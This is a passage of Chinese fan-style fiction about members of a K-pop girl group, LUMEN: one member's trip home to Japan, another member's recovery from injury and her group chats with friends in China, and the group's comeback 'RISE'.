绘里香笑了。她想象妹妹在学校里跟同学炫耀的样子,忽然觉得——能被家人骄傲,是一件很好的事。
爸爸站在旁边,没说话。他只是看着绘里香,点了点头。
“回来了。”爸爸说。
“嗯。”绘里香说,“回来了。”
这就是她爸爸。话不多,但一个眼神就够了。
晚饭是妈妈做的寿司和天妇罗,还有绘里香最爱的味增汤。四个人坐在餐桌前,像两年前一样。但不一样的是,绘里香不再是那个每天背着书包上学的高中生了。她是LUMEN的Eri,是站在舞台上跳舞的爱豆。
“姐姐,你在舞台上翻跟头是真的吗?”妹妹问。
“真的。”
“不疼吗?”
“练的时候疼。习惯了就不疼了。”
“好厉害……”妹妹眼睛亮亮的,“我也想学跳舞。”
妈妈在旁边说:“你先把你功课搞好再说。”
“可是姐姐也跳舞啊!姐姐功课也很好!”
“那是你姐姐努力。”妈妈看了绘里香一眼,“你以为她不辛苦吗?”
绘里香笑了笑,没说话。辛苦。当然辛苦。每天练十几个小时,膝盖摔得青一块紫一块,脚踝扭了还要打封闭针上台。但这些话,她不想说给家人听。她们会担心的。
“不辛苦。”她说,“跳舞很开心。”
这是实话。再辛苦,跳舞的时候也是开心的。
第二天,绘里香在家里待了一整天。
她帮妈妈做了家务,陪妹妹写了作业,跟爸爸看了一下午的电视。电视上在放综艺节目,刚好是LUMEN上次上的那个。
“姐姐!你上电视了!”妹妹指着屏幕喊。
绘里香看着屏幕上的自己,有点不好意思。她在节目里说的话不多,大部分时间都在旁边安静地坐着。
“你怎么不说话?”妹妹问。
“因为不知道该说什么。”绘里香说,“韩语有时候说不准。”
“那你平时怎么跟队友说话?”
“慢慢说。她们会等我说完。”
“队友对你好吗?”
绘里香想了想。姜多惠会给她带饮料,金素妍会帮她拿行李,李恩彩会在她说话卡住的时候帮她接下去,韩智媛会小声提醒她单词,金敏珠会默默等她说完,夏瑜会在她紧张的时候递给她一瓶水。
“很好。”她说,“她们对我很好。”
妹妹点了点头,没再问。
晚上,绘里香一个人躺在以前住的房间里。房间被改成了妹妹的书房,她睡的是临时铺的床垫。天花板上还有她小时候贴的星星贴纸,已经褪色了,但还在那里。
她拿出手机,打开KakaoTalk。群聊里有一堆未读消息。
李恩彩:“Eri到家了吗?报个平安!”
金素妍:“她两小时前就说到了。”
李恩彩:“那怎么不说话!”
金素妍:“可能在跟家人吃饭。”
李恩彩:“Eri!吃完饭记得报平安!”
金素妍:“你能不能别刷屏。”
李恩彩:“我关心队友!这叫团魂!”
金素妍:“这叫吵。”
绘里香看着屏幕,忍不住笑了。
她打了一行字:“到了。谢谢欧尼们。”
李恩彩秒回:“Eri!!!你终于说话了!!!想死你了!!!”
金素妍:“你能不能冷静点。”
李恩彩:“不能!Eri不在我好无聊!都没人让我欺负了!”
金素妍:“你平时欺负的是我。”
李恩彩:“那你又不让我欺负!”
金素妍:“……”
姜多惠:“Eri,好好休息。周一见。”
韩智媛:“Eri,护身符带了吗?”
绘里香摸了摸口袋里的猫咪钥匙扣,打字:“带了。谢谢智媛欧尼。”
韩智媛:“那就好。”
金敏珠:“周一准时回来。”
绘里香:“好的敏珠欧尼。”
夏瑜的消息弹出来:“日本好玩吗?”
绘里香:“就是回家。没什么好玩的。”
夏瑜:“家里舒服吗?”
绘里香想了想,打字:“舒服的。”
夏瑜:“那就够了。”
绘里香看着那四个字,忽然笑了。夏瑜说话总是很短,但每次都能说到点子上。家里舒服的——这就够了。
她翻了个身,把毯子裹紧了一点。床垫有点硬,枕头有点低,被子有点薄。但这是家的味道。
她闭上眼睛。明天还有一天,后天就要回首尔了。她想再吃一次妈妈做的味增汤,想再陪妹妹写一次作业,想再跟爸爸看一次电视。然后她就回去,回到那个吵吵闹闹的宿舍,回到那个永远亮着灯的练习室,回到那群很吵但也很暖的人身边。
第三天,绘里香去见了高中时候的朋友。
她们约在车站前的咖啡厅,三个人坐在窗边的位置。
“绘里香你瘦了好多!”朋友A说。
“韩国的饭不好吃吗?”朋友B问。
“好吃的。”绘里香说,“就是练习太累了。”
“你在舞台上好帅!”朋友A眼睛亮亮的,“我们全班都看了你的直拍!”
“真的吗?”绘里香有点不好意思。
“真的!尤其是那个侧手翻,太帅了!”
绘里香笑了。以前在学校的时候,她是那种最不起眼的女生——成绩还好,运动一般,说话声音小得听不见。没有人会注意到她。
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但现在,她在舞台上跳舞,有人在看,有人在喊她的名字。
这种感觉很奇怪,但很好。
“绘里香,你以后会一直当爱豆吗?”朋友B问。
绘里香想了想。“会。”她说,“我喜欢跳舞。”
“那你什么时候再回来?”
绘里香愣了一下。什么时候再回来?她不知道。可能明年,可能后年,可能很久以后。
“不知道。”她老实地说。
朋友A笑了:“没关系。我们会在电视上看你的。”
“对!”朋友B说,“你好好跳舞,我们会给你应援的!”
绘里香看着她们,眼眶热了一下。
“谢谢。”她说。
第四天早上,绘里香要走了。
妈妈帮她收拾好行李,又往里面塞了一大堆零食。“带回去给队友吃。”妈妈说,“她们对你那么好,你要谢谢人家。”
“太多了……”绘里香看着塞得鼓鼓囊囊的行李箱。
“不多。”妈妈又塞了一盒点心进去,“这个给你队长。这个给那个吵吵闹闹的。这个给那个冷冷的。这个给那个温柔的。这个给那个胆小的。这个给那个跳舞很好的。”
“妈妈你怎么知道她们谁是谁?”
“我看你们团综了。”妈妈理直气壮地说,“那个学猪叫的,一看就是她。”
绘里香忍不住笑了。她想象金素妍知道自己被叫成“那个冷冷的”的表情,应该会很无语。
爸爸站在门口,没说话。他只是看着绘里香,点了点头。
“好好照顾自己。”爸爸说。
“嗯。”
妹妹冲过来抱住她:“姐姐,你下次什么时候回来?”
“不知道。”绘里香说,“但我会回来的。”
“那你快点回来。我等你。”
绘里香摸了摸妹妹的头。“好。”
走出门的时候,她回头看了一眼。妈妈站在门口,围裙还没解,手里拿着锅铲。爸爸站在妈妈身后,手搭在她肩上。妹妹在旁边挥手。
她挥了挥手,转过身,拖着行李箱走向车站。这一次,她没有哭。
她是LUMEN的Eri。她要去跳舞了。
飞机降落在首尔的时候,已经是下午了。
绘里香拖着行李箱走出到达大厅,一眼就看到了那群人。
李恩彩举着一个牌子,上面写着“欢迎Eri回家”。金素妍站在旁边,面无表情,但手里拿着一杯热可可。姜多惠拎着一个杯子,里面装着热水——不是给她喝的,是给夏瑜的。韩智媛躲在姜多惠身后,探出头来。金敏珠站在最前面,看了看手表。
“迟到了三分钟。”金敏珠说。
“飞机延误了……”绘里香小声说。
“原谅你。”金敏珠嘴角动了一下。
夏瑜站在最边上,手里什么都没拿,只是看着她。
“回来了。”夏瑜说。
“嗯。”绘里香说,“回来了。”
李恩彩冲过来,一把抱住她:“Eri!!!我好想你!!!”
“我也是……”绘里香被她勒得喘不过气。
“你带好吃的了吗?”李恩彩松开手,眼睛亮亮的。
“带了……”绘里香打开行李箱,把妈妈塞的零食一样一样拿出来。
“这是给敏珠欧尼的,这是给恩彩欧尼的,这是给素妍欧尼的,这是给多惠欧尼的,这是给智媛欧尼的,这是给Seki欧尼的。”
“你妈妈怎么知道我们谁是谁?”金素妍问。
“她看了我们的团综。她说——那个学猪叫的,一看就是她。”
全场安静了一秒。
然后李恩彩尖叫起来:“你妈妈看了我学猪叫?!”
“看了……”
“啊啊啊啊啊好丢人!!!”李恩彩捂着脸蹲下去。
金素妍难得笑了:“你妈有眼光。”
“你闭嘴!”
姜多惠笑着摇头。韩智媛躲在后面偷偷笑。金敏珠接过自己的那份点心,看了一眼,收进口袋里。
夏瑜接过自己的那份,是一盒抹茶巧克力。她看了看,抬头对绘里香说:“谢谢。”
“不客气。”绘里香说。
“你妈很厉害。”夏瑜说,“知道你喜欢抹茶。”
绘里香愣了一下。她从来没跟妈妈说过自己喜欢抹茶,但妈妈就是知道。
“妈妈都是这样的。”绘里香说。
夏瑜点了点头,没再说话。但绘里香看到她把那盒巧克力小心地放进了包里。
七个人走出机场,夕阳照在身上,影子拉得很长。
李恩彩走在最前面,叽叽喳喳地说着这几天的练习有多累、金素妍有多欺负她、韩智媛有多想她。金素妍走在旁边,偶尔怼她一句。姜多惠走在中间,手里拎着绘里香的行李箱。韩智媛跟在后面,小声跟绘里香说话。金敏珠走在最后面,看着手机,大概在看行程表。
夏瑜走在最边上,离人群有点远,但也没有太远。刚好是一个转身就能走过来的距离。
绘里香走在她们中间,听着李恩彩的声音,看着金素妍的表情,感受着姜多惠手里的行李箱的重量。她忽然觉得——韩国也是家。不是出生的地方,是跳舞的地方,是有人等她回来的地方。
“Eri!”李恩彩回头喊她,“快点!我们今晚吃烤肉!给你接风!”
“好!”绘里香加快脚步,跟上去。
七个人走在一起,影子叠着影子,像一道长长的、暖暖的光。
7. rise
一个月的休息期比夏瑜想象中更漫长。
前两周她老老实实地冰敷、理疗、做康复训练。
姜多惠每天都会发消息问她“今天去康复了吗”,比闹钟还准时。李恩彩隔三差五就往她宿舍跑,带一堆零食,然后自己吃掉大半。金素妍偶尔会来,站在门口看一眼,说“还肿着”,然后走了。夏瑜后来才知道,金素妍是来确认她有没有偷偷练习的。
“你们不用每天都来。”夏瑜说。
“谁每天来了?”李恩彩嘴里塞着薯片,“我就是路过。”
“你宿舍在六楼,我住三楼。你怎么路过?”
“我……下楼散步!”
“大冬天的你散什么步?”
“我怕冷运动取暖不行吗!”
夏瑜没忍住笑了。
第三周开始,她试着恢复练习。脚踝还是有点疼,但可以忍受。
她没告诉任何人,趁大家去练习室的时候,一个人在宿舍里偷偷练基本功。压腿、踢腿、转圈——动作很慢,力度很轻,但她需要确认自己的身体还记得跳舞的感觉。
手机响了。是微信群的消息。
穆双妤:“夏瑜!你的脚好了没!好了赶紧出来吃火锅!池且说要请你吃海底捞!他说你再不出来他就要把锅底寄到韩国去了!”
夏瑜看着屏幕,嘴角翘起来。穆双妤是她在中国最好的朋友——高中同学,也是舍友。那时候夏瑜刚转到那个班,一个人都不认识,穆双妤是第一个跟她说话的。“你睡上铺还是下铺?我上铺,你要是睡下铺的话晚上别打呼噜,我睡眠浅。”就这样,她们成了朋友。
穆双妤这个人,看起来大大咧咧的,说话也搞笑,但其实特别靠谱。她是那种——你说了一句“没事”,她不会追问,但会默默记下来,过几天找个合适的时间再问。
她很聪明,成绩好,打游戏也厉害,但她从来不会让人觉得有压力。夏瑜有时候觉得,穆双妤是那种天生就知道怎么跟人相处的人。
穆双妤和郑婉橘是从小一起长大的闺蜜。郑婉橘个子很高,一米八,站在人群里特别显眼。成绩好得离谱,是那种不怎么学也能考第一的天赋型选手。
她话不多,但每次开口都能说到点子上。夏瑜是通过穆双妤认识她的——有一次穆双妤说“出来吃饭,我闺蜜也在”,然后就见了。郑婉橘看了夏瑜一眼,说了句“你长得好像小绵羊”,然后给她夹了一块土豆。
土豆,夏瑜最喜欢吃的土豆。
池且是她们的同班同学,跟穆双妤更熟一些。他话多,爱分享,看到什么有趣的视频都会发到群里,打游戏的时候喜欢自言自语:“我来了我来了我来了!救我救我救我!好我死了。”
但他其实没有表面上那么吵,他也会安静,也会认真。他是那种很感性的人,看个电影能哭半天,但哭完会说“我没哭,是口水从眼睛里出来了”。
四个人是因为穆双妤慢慢凑到一起的。
最开始是夏瑜和穆双妤,然后穆双妤带着池且一起玩,再后来穆双妤又把郑婉橘拉进来。四个人经常一起打游戏,一起约着出去玩,感情越来越好。
夏瑜每次回国,第一件事就是约他们出来吃饭。
穆双妤负责抢着买单——每次服务员拿账单来,她总是第一个伸手,说“我来我来,你们下次请”。
池且负责在旁边起哄“穆老板大气”。
郑婉橘负责微笑补刀。夏瑜负责点菜——她每次都要研究半天菜单,池且在旁边催“快点快点”,她说“急什么,点菜是大事”。
四个人坐在一起,吵吵闹闹,像认识了很多年。
夏瑜有时候想,如果她们知道真相——知道她前世是谁,知道她经历过什么——还会像现在这样对她吗?大概会吧。
穆双妤那么聪明,她应该能理解。
池且那么感性,他大概会哭。
郑婉橘那么细心,她一定不会多问。
但夏瑜不想说。那些事太重了,她不想让她们也扛着。
她打字:“下周应该可以。医生说我恢复得不错。”
穆双妤:“下周!!!夏瑜你知道我们等了你多久吗!池且说他做梦都在涮毛肚!”
“你让他先涮着,我到了再涮新的。”
穆双妤:“他说不行,毛肚要大家一起涮才有灵魂。”
夏瑜笑了。
池且就是这样的人,什么都要一起。
打游戏要一起,吃饭要一起,连上厕所都要问一句“有人一起去吗”。穆双妤说他“太粘人了,而且只有他是男生,不懂他在说什么”,池且理直气壮地说“这叫感情好”。
郑婉橘在群里冒泡了:“夏瑜你好好养伤,别听池且的。他上周自己去吃了海底捞,被我们发现了他还死不承认。”
池且:“郑婉橘你出卖我!!!”
郑婉橘:“我这是陈述事实。”
池且:“你那是陈述吗!你那是告状!”
郑婉橘:“陈述和告状的区别在于,陈述是为了传递信息,告状是为了让你挨骂。我只是在传递信息。”
池且:“……郑婉橘你嘴巴太毒了。”
郑婉橘:“谢谢。”
夏瑜看着屏幕,笑出了声。这群人还是这么吵。
她放下手机,继续压腿。三十秒,换腿。
一个月后,夏瑜终于被医生批准恢复练习。
她走进练习室的时候,六个人都在。李恩彩第一个冲过来:“Seki!!!你终于回来了!!!”
“嗯,回来了。”
“脚还疼吗?”韩智媛小声问。
“不疼了。”
“真的不疼?”金素妍靠在墙边,双手抱胸。
“真的。”
金素妍点了点头,没再问。
金敏珠走过来,拍了拍她的肩膀:“欢迎回来。今天先热身,别急着跳。”
“好。”
姜多惠递给她一杯热水,什么都没说,只是笑了笑。
夏瑜接过来,喝了一口。温的。姜多惠算好了她来的时间,拿过来放温的。
她站在镜子前,看着自己。一个月没跳了,不知道身体还记不记得。
音乐响起来。她开始跳。
一开始有点生疏。动作慢了半拍,力度不够,身体的记忆好像被按了暂停键。但跳到副歌的时候,一切都回来了——手的角度、腿的高度、旋转的速度,全部都在。
她跳完之后,站在镜子前喘气。
李恩彩在鼓掌:“Seki你还是跳得那么好!”
“没有。”夏瑜说,“慢了半拍。”
“那是你对自己要求太高。”金素妍说,“别人看不出来。”
“我自己看得出来。”
金素妍看了她一眼,嘴角动了一下。“那就再练。”
夏瑜点了点头,重新站到镜子前。
一周后,公司召开了正规一辑的策划会议。
七个人坐在会议室里,经纪人把企划书发到每个人手上。封面上写着几个字:《RISE》。
“正规一辑。”经纪人说,“概念是——‘girl crush’。”
“‘girl crush’?”李恩彩眼睛亮了,“帅气的那种?”
“对。”经纪人翻了翻PPT,“这次的概念是‘破茧成蝶’。不再是被保护的人,是保护自己的人。不再是等待光的人,是自己成为光的人。专辑名《RISE》——升起、上升、站起来。”
夏瑜看着企划书,心跳快了一拍。破茧成蝶。不再是被保护的人,是保护自己的人。这句话像一根针,扎在她心里最深的那个地方。
“主打歌叫《RISE》。”经纪人继续说,“编舞会比之前更难。MV也会有动作戏的部分。”
“动作戏?”李恩彩看向夏瑜,“那不就是给Seki准备的?”
“公司确实是这么想的。”经纪人看了夏瑜一眼,“Seki的武术可以在MV里展示。这次不是删掉,是加进去。”
夏瑜愣了一下。她想起年末舞台的时候,公司把她的武术展示删了,把她移到最边上,把她的光调暗。现在又说要加回去。
“为什么?”她问。
经纪人沉默了一下。“市场证明了你的人气。公司只是顺势而为。”
夏瑜点了点头。她懂了。不是公司突然觉得她好,是因为她的直拍播放量摆在那里,是因为粉丝的评论摆在那里,是因为市场告诉她——你有价值。所以公司才愿意用她。
不是因为她是夏瑜。是因为她有人气。
但她不在意。她只需要舞台。只要公司给她舞台,她就跳。这是她的工作,也是她这辈子唯一想做的事。
“Seki。”金敏珠叫她。
“嗯?”
“你在想什么?”
夏瑜回过神来。“在想编舞。”
金敏珠看着她,沉默了一会儿。“你不用想太多。你只要跳舞就好。”
夏瑜愣了一下。
“以前的事,过去了。”金敏珠说,“以后的事,以后再说。现在你只要跳舞。其他的,我来处理。”
夏瑜看着她。金敏珠的表情还是那样,冷冷的,没什么变化。但她说的话,让夏瑜心里动了一下。
“谢谢欧尼。”夏瑜说。
金敏珠点了点头,没再说什么。
《RISE》的编舞比之前任何一次都难。
副歌部分有一段solo dance,是夏瑜的。
武术和现代舞的融合,开场是一个旋子,接一个侧空翻,然后是连续的后空翻,最后以一个高抬腿的定格动作结束。
“这段你行吗?”编舞老师问。
夏瑜看了看动作分解图。“行。”
“不需要保护措施?”
“不需要。”
编舞老师笑了:“我就知道你会这么说。”
但还是在下面放了个垫子。
练习的时候,其他人都在旁边看。夏瑜跳完第一遍,李恩彩张大了嘴。
“Seki你是人吗?”
“不然呢?”
“你是超人!那个后空翻接旋子,我眼睛都跟不上!”
金素妍在旁边冷冷地说:“你眼睛跟不上不是因为她太快,是因为你眼神不好。”
“金素妍你今天是不是又针对我!”
“每天都是。”
两个人又开始了。夏瑜笑着摇了摇头,继续练。
录音的时候,夏瑜分到了比以前更多的part。
不是一句了。是好几段,包括副歌的一部分。制作人说她的音色很适合这次的概念——“干净、透亮,有一种清冷的力量感。”
“这次你不用唱高音。”制作人说,“你负责bridge部分的低音。你的声音在低音区反而更有辨识度。”
夏瑜点了点头。她走进录音室,戴上耳机。
音乐响起来。她开始唱。声音从胸腔里飘出来,低低的,稳稳的,像山谷里的风。
“不错。”制作人说,“再来一遍,副歌部分的声音可以再硬一点。这次的概念是‘破茧成蝶’,声音要有力量感。”
夏瑜又唱了一遍。这一次她没想技巧,想的是那句歌词——“I rise, I rise, I’ming back to life.”
她想起那个天台。想起风灌进领口的凉意。想起手机屏幕上的舞台。想起重生之后第一次站在练习室镜子前。
那时候她怕什么?怕不被看见。怕不够好。怕再一次被抛弃。
现在她不怕了。
“对了。”制作人说,“就是这个感觉。”
她走出录音室的时候,姜多惠在外面等她。
“唱得好。”姜多惠说。
“你怎么知道?你又没进去听。”
“我在外面听到了。”姜多惠递给她水,“你的声音传出来了。很稳。”
夏瑜接过来。“谢谢欧尼。”
“不客气。”姜多惠笑了笑,“走吧,回去练习。”
MV拍摄是在一个月后。
这次的外景地选在仁川的一个废弃机场。不是停车场,是真的机场——废弃的候机楼、生锈的登机桥、空荡荡的跑道。概念是“起飞”:七个人穿着不同颜色的服装,在废弃的机场里奔跑、跳舞,最后走向一架停在跑道上的飞机,灯光亮起来,飞机起飞。
导演说:“这次的概念不是‘在废墟中挣扎’,是‘从废墟中起飞’。你们不是被困住的人,是即将离开的人。不是坠落,是上升。”
夏瑜听完,心跳快了一拍。不是坠落,是上升。
造型师这次给夏瑜穿了一件深红色的缎面衬衫,领口微微敞开,袖子挽到手肘,露出一截小臂。下身是一条黑色的阔腿裤,腰间系着一条金属链条腰带。头发被烫得更卷了,一半散在肩上,一半在脑后扎了个低马尾。妆容和上次完全不同——没有烟熏妆,眼妆很淡,只有一条细细的眼线,嘴唇是正红色。
“好有气质……”韩智媛在旁边小声说。她穿着一件浅蓝色的衬衫和白色阔腿裤,整个人看起来干净又温柔。
“智媛你今天好像空姐。”李恩彩说。她穿了一件亮橘色的上衣,在一群人里格外显眼。
“恩彩你好像交通指挥员。”金素妍面无表情地说。她穿了一件深紫色的衬衫,跟她本人一样冷。
“你!”
姜多惠穿了一件浅粉色的衬衫,温柔得不像话。绘里香穿了一件鹅黄色的,衬得她皮肤更白了。金敏珠穿了一件深蓝色的,站在最前面,像机长。
“七个人七个颜色。”导演说,“你们不是统一的团体,是七个独立的个体,各自起飞,然后在同一个地方相遇。”
夏瑜觉得这个概念很好。不是被框在同一个颜色里,是各自发光,然后站在一起。
第一场戏是在候机楼里。七个人拖着行李箱,从候机楼里走出来,走向跑道。导演让她们自然走,不要刻意表演。
“就走。像真的在赶飞机一样。”
李恩彩第一个冲出去:“我要赶不上飞机了!”
“恩彩你走太快了!”金素妍在后面喊。
“你不是说不要刻意表演吗!我真的很急!”
“你急什么?”
“我急着我妈让我带的泡菜会超重!”
全场笑翻。导演没喊停,继续拍。七个人笑着闹着,从候机楼里走出来。夏瑜走在中间,左边是姜多惠,右边是金素妍。姜多惠在跟韩智媛说什么,韩智媛在笑。金素妍在怼李恩彩,李恩彩在回怼。绘里香走在最后面,安静地拖着行李箱,嘴角弯着。金敏珠走在最前面,步子很稳。
导演说:“好!这条过了!”
第二场戏是在跑道上。七个人站在一架废弃的飞机旁边,需要做一个集体舞蹈动作——手拉手围成一个圈,然后向外散开,每个人走向不同的方向。
“这个动作的意思是:你们曾经在一起,但最终要各自飞翔。”导演说。
夏瑜站在姜多惠和金素妍中间。姜多惠的手很暖,金素妍的手很凉。
“你的手怎么这么冷?”夏瑜小声问金素妍。
“体质。”金素妍面无表情。
“你多穿点。”
“穿了。”
“穿了多少?”
“……三件。”
夏瑜没忍住笑了。金素妍瞪了她一眼,但嘴角动了一下。
音乐响起来。七个人手拉手围成圈,然后向外散开。夏瑜走向飞机的方向,回头看了一眼。六个人站在跑道上,各自走向不同的方向,但都没有走太远。镜头从空中拍下来,七个人像七颗星星,散落在跑道上,但彼此之间的距离很近。
导演说:“好!这条也过了!”
最后一场戏是夏瑜的solo部分。她需要从登机桥上跳下来,然后在跑道上做一段solo舞蹈。
登机桥离地面大概三米五。比上次高了一点。
工作人员帮她清了场。六个人站在监视器后面看着她。
夏瑜站在登机桥上,往下看了一眼。三米五。比上次高了半米。但她的脚踝已经好了。她深吸一口气,纵身一跃。
身体在空中短暂地失重,然后稳稳落地——膝盖微曲,缓冲了冲击力。深红色的衬衫在风中飘起来,像一面旗帜。她站起来,开始solo舞蹈。
这次的solo和上次完全不同。没有旋子,没有侧空翻,没有后空翻。导演说:“不要翻跟头。这次要的是‘飞’的感觉,不是‘翻’的感觉。”
所以夏瑜跳的是现代舞。手臂展开,像翅膀。身体起伏,像气流。脚步轻盈,像踩在云上。她想起那句歌词——“I rise, I rise, I’ming back to life.”
她跳的时候,脑子里全是那个画面:从天台坠落,从登机桥跳下。一样的坠落,不一样的方向。一次是往下,一次是往上。
她跳完之后,站在跑道上喘气。深红色的衬衫被风吹得贴在身上,头发散了几缕下来,贴在脸侧。
监视器后面安静了很久。
然后李恩彩小声说:“她哭了?”
夏瑜伸手摸了一下脸。湿的。她不知道自己什么时候哭的。
导演看着监视器里的回放,沉默了一会儿。“不用再拍了。这条,是最好的。”
《RISE》的音源发布是在四月的一个周一。
Melon空降排名第五。这是LUMEN最好的成绩。MV播放量二十四小时突破一千五百万,比上次又翻了一截。
评论区
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里,最热门的评论是:
“Seki从登机桥跳下来那段,我看了五十遍。不是翻跟头,是飞。”
“深红色衬衫太好看了,她穿红色好绝”
“七个人七种颜色,各自发光又聚在一起,这个概念太好了”
“Seki最后哭了?还是汗?不管是哪个,那个镜头好绝”
“I rise那句是她唱的吗?低音好稳”
“听说这次概念是girl crush,太高级了”
“LUMEN真的每次回归都在进步”
“Seki跳现代舞那段我哭了,她从高处跳下来的时候,表情不是‘看我很帅’,是‘我终于飞起来了’”
夏瑜看到这些评论的时候,正坐在练习室的地板上。
微信群里,穆双妤发了一张截图。是她和夏瑜的私聊界面,截图上她的手机给夏瑜的备注名清清楚楚地写着——“鱼姐”。
穆双妤:“笑死我了你们看,我给夏瑜的备注。”
池且:“鱼姐哈哈哈哈哈哈为什么是鱼?”
穆双妤:“因为‘瑜’啊!而且她吃火锅的时候涮鱼片的样子真的很像鱼!”
夏瑜:“……穆双妤你完了。”
穆双妤:“姐饶命姐饶命”
郑婉橘:“哈哈哈哈哈哈”
池且:“我将跟上这个备注”
穆双妤:“不过说真的,夏瑜你今天那个舞台我看了十遍。你从桥上跳下来的时候我尖叫了,室友以为我疯了。”
池且:“我也看了十遍!我妈问我是不是在刷题!”
郑婉橘:“夏瑜,你跳得很好。不是帅,是好看。有力量的那种好看。”
池且:“你区别对待!我刚才说帅你说是帅,夏瑜说好看你就改说是好看!”
郑婉橘:“因为夏瑜确实好看。”
池且:“我也好看!”
郑婉橘:“你不好看。”
池且:“郑婉橘你!!”
穆双妤:“好了好了别吵了。夏瑜,你最后抬头看天空那个镜头,我看见你哭了。”
夏瑜看着屏幕,鼻子酸了一下。她打字:“是汗。”
穆双妤:“骗人。汗不是从眼睛里流出来的。”
夏瑜没说话。
穆双妤:“夏瑜,你跳得很好。真的很好。等你回来吃火锅。”
“好。这次我请客。”
穆双妤:“不行!我请!你负责点菜就行!你每次点菜都要研究半天菜单,池且在旁边催你的时候最好笑。”
“那我点贵的。”
“你点!随便点!反正我买单!”
池且:“穆双妤你什么时候对我这么大方过?”
穆双妤:“你也去成团吧。”
池且:“不,我只是想吃贵的……”
郑婉橘:“你上次偷吃海底捞的事还没算账。”
池且:“……我错了。”
夏瑜看着屏幕,笑了。她把手机收起来,站起来。
音乐银行回归舞台那天,LUMEN排在倒数第三个出场。
七个人穿着MV里的服装——七种颜色的衬衫,站在后台等待。夏瑜穿着深红色,站在中间偏左的位置。
“紧张吗?”金敏珠走过来,站在她旁边。
夏瑜抬头看她。队长平时不怎么主动找她说话,两个人都是话少的人,各自忙各自的。
“有一点。”夏瑜老实说。
金敏珠点了点头。“正常。我也紧张。”
夏瑜愣了一下。她从来没想过金敏珠会紧张。队长永远是那个最早到练习室、最后一个走的人。永远面无表情,永远说“再来一遍”。永远让人觉得——她什么都能搞定。
“你也紧张?”夏瑜问。
“每次回归都紧张。”金敏珠看着舞台的方向,“怕做不好。怕拖累你们。”
夏瑜看着她。金敏珠的侧脸很硬,下颌线像刀裁的。但她说“怕拖累你们”的时候,声音很轻。
“欧尼不会拖累我们的。”夏瑜说。
金敏珠转过头看她。“你怎么知道?”
“因为你练习了六年。因为你看了三批出道组解散。因为你是唯一一个留下来的人。”夏瑜说,“你不会拖累任何人。”
金敏珠看着她,沉默了一会儿。然后她伸手,拍了拍夏瑜的肩膀。
“你也是。”金敏珠说,“你不会拖累任何人。”
夏瑜愣了一下。
“你受伤的时候,我一直在想——是不是我太严格了?是不是我应该早点让你休息?”金敏珠说,“但后来我想通了。你不需要别人替你操心。你自己知道该怎么做。”
夏瑜看着她,不知道该说什么。
“所以——好好跳。”金敏珠说,“其他的,不用想。”
夏瑜点了点头。
“接下来是LUMEN!《RISE》!”
七个人跑上舞台。
音乐响起来。夏瑜站在舞台上,聚光灯打在她身上。台下是几千个观众,应援棒汇成一片海。她看见了“好多鱼”的手幅,看见了“Seki”的灯牌,看见了“不管站在哪里都会发光”的横幅,还有人举着“RISE”的牌子。
她深吸一口气,开始跳。
副歌部分,她走到最前面,开始solo dance。不是翻跟头,是现代舞。手臂展开,像翅膀。身体起伏,像气流。脚步轻盈,像踩在云上。她想起那句歌词——“I rise, I rise, I’ming back to life.”
最后一个动作,她站在原地,抬头看着天空。灯光从上面打下来,落在她脸上。她没有笑,也没有哭。只是站在那里,仰着头,像在看着什么很远的地方。
台下安静了一秒。然后爆发出巨大的尖叫声。
她站在那里,喘着气。灯光打在身上,暖暖的。台下有人在喊她的名字。
直播结束后,七个人在待机室里收拾东西。
李恩彩瘫在沙发上:“累死了——但是好开心!”
“你今天跳错了一个动作。”金素妍说。
“哪里?!”
“副歌第二段,你的手低了两厘米。”
“两厘米你也看得出来?!”
“我是主rap。我的眼睛就是尺。”
“你那是什么尺!卷尺吗!”
韩智媛在旁边小声说:“恩彩欧尼今天跳得很好……”
“智媛你不用安慰我!”李恩彩捂着脸,“金素妍说我手低了两厘米!”
“真的很好……”韩智媛小声重复了一遍。
姜多惠笑着摇头。金敏珠在收拾东西,嘴角动了一下。她看了夏瑜一眼,什么都没说,只是点了点头。
夏瑜也点了点头。
两个人之间不需要太多话。
绘里香坐在角落里,安静地笑着。她今天的part不多,但每一个动作都很稳。
夏瑜坐在沙发上,看着她们闹。
手机亮了。是微信群的消息。
穆双妤:“夏瑜!!!今天的舞台!!!你最后抬头看天空那个镜头!!!我哭了!!!”
池且:“我也哭了!!!我妈以为我失恋了!!!”
郑婉橘:“夏瑜,你跳得很好。真的很好。”
穆双妤:“鱼姐今天哭了没有?老实交代。”
夏瑜打字:“没有。”
穆双妤:“骗人。”
“嘻嘻??????。”
穆双妤:“我就知道。等你回来吃火锅。我请客,你点菜。”
“好。”
“这次真的回来?”
“这次真的。”
“信你最后一次!!!”
夏瑜看着屏幕,嘴角翘起来。她把手机收起来,站起来。
“走吧。”她说,“回去了。”
李恩彩从沙发上弹起来:“回去吃炸鸡!今天一位庆祝!”
“还没宣布一位呢。”金素妍说。
“肯定是我们!我有预感!”
“你的预感什么时候准过?”
“今天就会准!”
金敏珠看了看手机。“一位公布了。是我们。”
“你看!!!我说什么!!!”李恩彩跳起来。
金素妍难得没反驳,嘴角弯了一下。
七个人走出电视台,夜风吹过来,有点凉。但夏瑜却觉得很舒适。她站在中间偏左的位置,左边是姜多惠,右边是金素妍,前面是李恩彩和韩智媛,后面是金敏珠和绘里香。
她想起金敏珠说的话——“你不需要别人替你操心。你自己知道该怎么做。”
是的,她知道。她一直都知道。
不管站在哪里,她都会发光。这是她自己挣来的。
8. 番外:海底捞
回归舞台结束后的第三天,夏瑜回了中国。
公司批了三天假。她没告诉队友具体去干嘛,只说“回家一趟”。
李恩彩追着问“回家干嘛”,她说“吃火锅”。李恩彩说“韩国也有火锅”,她说“不一样”。哪里不一样,她没解释。
她在韩国四年,虽然觉得韩国菜也还可以。但天天吃真的要命。
每次跟穆双妤视频的时候,她都要吐槽一遍:“我想吃毛肚,我想吃黄喉,我想吃虾滑,我想吃娃娃菜,我想吃冻豆腐,我想吃红糖糍粑,我想吃……”
穆双妤说:“你够了,你再说我就要点外卖了。”
然后两个人隔着屏幕一起饿。
飞机降落的时候,她打开手机,微信群已经炸了。
穆双妤:“夏瑜你落地了没!池且说他已经在海底捞排队了!”
池且:“我没排队!我拿号了!前面还有三十八桌!”
穆双妤:“三十八桌你激动什么。”
池且:“你不懂!这是周末!三十八桌很快的!”
穆双妤:“他上周自己来吃的时候排了六十八桌,等了两小时。”
池且:“你能不能别提上周的事!”
郑婉橘:“他上周吃完回来还跟我们说‘一个人吃海底捞太爽了’,然后被穆双妤骂了十分钟。”
池且:“郑婉橘你怎么什么都记得!!”
